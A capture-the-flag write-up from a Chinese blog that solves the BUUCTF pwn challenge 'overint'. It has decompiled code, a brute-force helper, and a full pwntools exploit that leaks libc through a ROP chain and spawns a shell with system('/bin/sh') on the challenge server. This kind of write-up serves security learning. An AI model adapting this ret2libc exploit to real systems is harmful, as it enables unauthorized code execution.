[BUUCTF-pwn] 鹏城杯_2018_overint

该博客介绍了如何通过编程解决一道涉及缓冲区溢出和数学运算的解密问题。首先,使用循环和位运算找出一组数字,使它们经过特定运算后得到目标值35。然后,通过读取用户输入并进行累加,得到第二个目标值。最后,利用这些值修改内存中的数据,实现代码执行的控制流转移。整个过程展示了安全漏洞利用和逆向工程的基本思路。
摘要由CSDN通过智能技术生成

老大的帽儿。题目分3部分,第1部分要求输入4个字节这4个字节经过运算得35

__int64 __fastcall sub_4007D1(__int64 a1, int a2)
{
  int v3; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  v3 = 0;
  for ( i = 1; i < a2; ++i )
  {
    printf("v[i] is %d\n", (unsigned int)*(char *)(i + a1));
    v3 = ((*(char *)(i + a1) >> 4) + 4 * v3) ^ (*(char *)(i + a1) << 10);
  }
  return v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);    // =35
}

第2部分要求至少5字节,这些和得 543372146

__int64 __fastcall sub_4006C6(int a1)
{
  __int64 result; // rax
  unsigned int buf; // [rsp+10h] [rbp-20h] BYREF
  char v3; // [rsp+14h] [rbp-1Ch]
  unsigned int v4; // [rsp+1Ch] [rbp-14h]
  int v5; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]
  unsigned int v7; // [rsp+28h] [rbp-8h]
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  v7 = 0;
  buf = 0;
  v3 = 0;
  v6 = 0;
  v5 = 0;
  puts("How many numbers do you have?");
  v6 = read(0, &buf, a1);
  if ( v6 == a1 )
  {
    v5 = buf;
    printf("m_num is %d\n", buf);
    if ( v5 > 4 )
    {
      for ( i = 0; (int)i < v5; ++i )
      {
        printf("the number %d is: \n", i);
        v4 = 0;
        v6 = read(0, &buf, a1);
        if ( v6 == a1 )
        {
          v4 = buf;
          printf("temp_num %d is %d\n", i, buf);
          v7 += v4;
        }
      }
    }
    result = v7;
  }
  else
  {
    puts("the length should be 4 bytes");
    result = 0LL;
  }
  return result;
}

然后两个数相加为负数(但第1次输入不能是负数),验证通过不可以输入不限量偏移和字节,也就是覆盖ret那块地。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4; // [rsp+7h] [rbp-39h] BYREF
  int v5; // [rsp+8h] [rbp-38h] BYREF
  int v6; // [rsp+Ch] [rbp-34h] BYREF
  char v7[8]; // [rsp+10h] [rbp-30h] BYREF
  int v8; // [rsp+18h] [rbp-28h]
  int v9; // [rsp+1Ch] [rbp-24h]
  void *buf; // [rsp+20h] [rbp-20h]
  int v11; // [rsp+28h] [rbp-18h]
  int v12; // [rsp+2Ch] [rbp-14h]
  int v13; // [rsp+30h] [rbp-10h]
  unsigned int v14; // [rsp+34h] [rbp-Ch]
  unsigned int v15; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  v15 = 4;
  v14 = 0;
  v13 = 0;
  v11 = 543372146;                              // "r3c "
  qmemcpy(v7, "abcde", 5);
  buf = &v7[1];
  v12 = *(_DWORD *)&v7[1];
  alarm(0x78u);
  setbuf(stdout, 0LL);
  puts("Please set arrary number: ");
  v14 = read(0, buf, (int)v15);
  printf("len is %d\n", v14);
  if ( v14 != v15 )
  {
    puts("the x length should be 4 Bytes!");
    exit(0);
  }
  v12 = *(_DWORD *)buf;
  v13 = sub_4007D1((__int64)v7, 5);             // 6,1,123,124
  if ( v13 != 35 )
  {
    puts("You get the wrong key!");
    exit(0);
  }
  if ( (unsigned int)sub_4006C6(v15) == v11 )   // 5:543372146,0,0,0,0
  {
    v12 += v11;
    if ( v12 > 4 )
    {
      printf("no!");
    }
    else
    {
      v6 = 0;
      puts("How many positions you want to modify?");
      v14 = read(0, &v6, (int)v15);
      if ( v14 == v15 )
      {
        for ( i = 0; i < v6; ++i )
        {
          v9 = 0;
          v8 = 0;
          v5 = 0;
          v4 = 0;
          puts("Which position you want to modify?");
          v9 = read(0, &v5, (int)v15);
          puts("What content you want to write in?");
          v8 = read(0, &v4, 1uLL);
          if ( v9 == v15 && v8 == 1 )
          {
            v7[v5] = v4;
            printf("str_pos is %c\n", (unsigned int)v4);
          }
        }
      }
      printf("hello!");
    }
  }
  return 0LL;
}

第1块数用程序爆一下,找最后一个是接近负数127的:6,1,123,124

#include <stdio.h>
#include <stdlib.h>

int main()
{
   int v3;
   v3=0;
   
   for(int i=0;i<256;i++)for(int j=0;j<256;j++)for(int k=0;k<256;k++)for(int l=0;l<256;l++){
       v3 = 0;
       v3 = ((i >> 4) + 4 * v3) ^ (i << 10);
       v3 = ((j >> 4) + 4 * v3) ^ (j << 10);
       v3 = ((k >> 4) + 4 * v3) ^ (k << 10);
       v3 = ((l >> 4) + 4 * v3) ^ (l << 10);   
       if(v3 == 35)printf("%d,%d,%d,%d\n", i, j, k, l);
   }
}

第2块就不用说了,随意,我这里用:543372146,0,0,0,0

后边就是puts(got.puts),start得到libc后再重来一遍再到这输入system(bin/sh)

完整exp:

from pwn import *

elf = ELF('./pwn')
libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97

def connect(local=1):
    global p
    
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 25269) 


pop_rdi = 0x0000000000400b13 # pop rdi ; ret
offset  = 0x38
start_addr = 0x4005d0

context(arch='amd64', log_level='debug')

def pwn():
    p.sendafter(b"Please set arrary number: \n", bytes([6,1,123,124]))
    p.sendafter(b'How many numbers do you have?\n', p32(5))
    for i in [543372146,0,0,0,0]:
        p.sendafter(b' is: \n', p32(i))
    
    payload = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], start_addr)
    p.sendafter(b"How many positions you want to modify?\n", p32(len(payload)))
    for i,v in enumerate(payload):
        p.sendafter(b"Which position you want to modify?\n", p32(offset+i))
        p.sendafter(b"What content you want to write in?\n", p8(v))
    
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc_elf.sym['puts']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[0] 
    print('libc:', hex(libc_base))
    
    #copy
    p.sendafter(b"Please set arrary number: \n", bytes([6,1,123,124]))
    p.sendafter(b'How many numbers do you have?\n', p32(5))
    for i in [543372146,0,0,0,0]:
        p.sendafter(b' is: \n', p32(i))
    
    payload = flat(pop_rdi+1, pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'])
    p.sendafter(b"How many positions you want to modify?\n", p32(len(payload)))
    for i,v in enumerate(payload):
        p.sendafter(b"Which position you want to modify?\n", p32(offset+i))
        p.sendafter(b"What content you want to write in?\n", p8(v))
    
    p.sendline(b'cat /flag')
    p.interactive()

connect(0)
pwn()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值